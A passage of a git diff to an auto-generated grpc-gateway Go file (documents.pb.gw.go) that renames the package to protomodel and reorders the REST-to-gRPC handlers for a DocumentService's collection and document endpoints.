pkg/api/protomodel/documents.pb.gw.go index 4184aeeec1..52d04705a0 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -1,12 +1,12 @@ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: documentschema.proto +// source: documents.proto /* -Package documentschema is a reverse proxy. +Package protomodel is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ -package documentschema +package protomodel import ( "context" @@ -33,8 +33,8 @@ var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join -func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest +func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -45,13 +45,13 @@ func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertRequest +func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -62,47 +62,49 @@ func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentInsert(ctx, &protoReq) + msg, err := server.CollectionCreate(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentUpdateRequest +var ( + filter_DocumentService_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentUpdateRequest +func local_request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionGetRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentUpdate(ctx, &protoReq) + msg, err := server.CollectionGet(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest +func request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -113,13 +115,13 @@ func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentSearchRequest +func local_request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -130,47 +132,49 @@ func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentSearch(ctx, &protoReq) + msg, err := server.CollectionList(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentAuditRequest +var ( + filter_DocumentService_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} +) + +func request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentAudit(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentAuditRequest +func local_request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest var metadata runtime.ServerMetadata - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + if err := req.ParseForm(); err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentAudit(ctx, &protoReq) + msg, err := server.CollectionDelete(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentProofRequest +func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionUpdateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -181,13 +185,13 @@ func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentProof(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.CollectionUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentProofRequest +func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionUpdateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -198,13 +202,13 @@ func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentProof(ctx, &protoReq) + msg, err := server.CollectionUpdate(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest +func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -215,13 +219,13 @@ func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionCreateRequest +func local_request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -232,49 +236,47 @@ func local_request_DocumentService_CollectionCreate_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionCreate(ctx, &protoReq) + msg, err := server.DocumentInsert(ctx, &protoReq) return msg, metadata, err } -var ( - filter_DocumentService_CollectionGet_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest +func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertManyRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentInsertMany(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionGet_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionGetRequest +func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertManyRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionGet_0); err != nil { + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionGet(ctx, &protoReq) + msg, err := server.DocumentInsertMany(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest +func request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentUpdateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -285,13 +287,13 @@ func request_DocumentService_CollectionList_0(ctx context.Context, marshaler run return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionListRequest +func local_request_DocumentService_DocumentUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentUpdateRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -302,49 +304,47 @@ func local_request_DocumentService_CollectionList_0(ctx context.Context, marshal return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionList(ctx, &protoReq) + msg, err := server.DocumentUpdate(ctx, &protoReq) return msg, metadata, err } -var ( - filter_DocumentService_CollectionDelete_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)} -) - -func request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest +func request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionDeleteRequest +func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest var metadata runtime.ServerMetadata - if err := req.ParseForm(); err != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } - if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_CollectionDelete_0); err != nil { + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionDelete(ctx, &protoReq) + msg, err := server.DocumentSearch(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionUpdateRequest +func request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentAuditRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -355,13 +355,13 @@ func request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler r return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.CollectionUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentAudit(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq CollectionUpdateRequest +func local_request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentAuditRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -372,13 +372,13 @@ func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marsh return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.CollectionUpdate(ctx, &protoReq) + msg, err := server.DocumentAudit(ctx, &protoReq) return msg, metadata, err } -func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertManyRequest +func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentProofRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -389,13 +389,13 @@ func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.DocumentInsertMany(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.DocumentProof(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentInsertManyRequest +func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentProofRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -406,7 +406,7 @@ func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, mar return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.DocumentInsertMany(ctx, &protoReq) + msg, err := server.DocumentProof(ctx, &protoReq) return msg, metadata, err } @@ -417,7 +417,7 @@ func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, mar // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead. func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error { - mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -428,7 +428,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -436,11 +436,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -451,7 +451,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -459,11 +459,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -474,7 +474,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -482,11 +482,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -497,7 +497,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -505,11 +505,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -520,7 +520,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -528,11 +528,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -543,7 +543,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, 